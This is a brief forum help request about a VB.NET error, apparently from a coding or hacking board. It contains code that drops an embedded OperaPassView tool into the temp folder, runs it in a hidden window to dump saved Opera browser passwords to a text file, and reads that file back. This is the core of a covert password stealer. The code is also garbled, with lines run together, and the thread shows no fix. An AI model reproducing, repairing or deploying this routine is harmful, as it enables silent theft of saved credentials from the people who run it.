Code Fix My.Resources ?!

Here is The Code :

Code:

Dim open As String Dim Ressource1() As Byte = My.Resources.OperaPassViewFileOpen(1, Environ("tmp") & "\OperaPassView.txt", OpenMode.Binary) FilePut(1, Ressource1) FileClose(1) Shell(Environ("tmp") & "\OperaPassView.exe /stext " & Environ("tmp") & "\OperaPassView.txt", AppWinStyle.Hide) open = IO.File.ReadAllText(Environ("tmp") & "\OperaPassView.txt") Return open

and This is the Error :

Code:

Number of indices exceeds the number of dimensions of the indexed array.

i Can't Figure Out What's The Problem ?
ANY HELP ASAP ?

/SOLVED
/CLOSE

/SOLVED
/CLOSE

Code Fix My.Resources ?!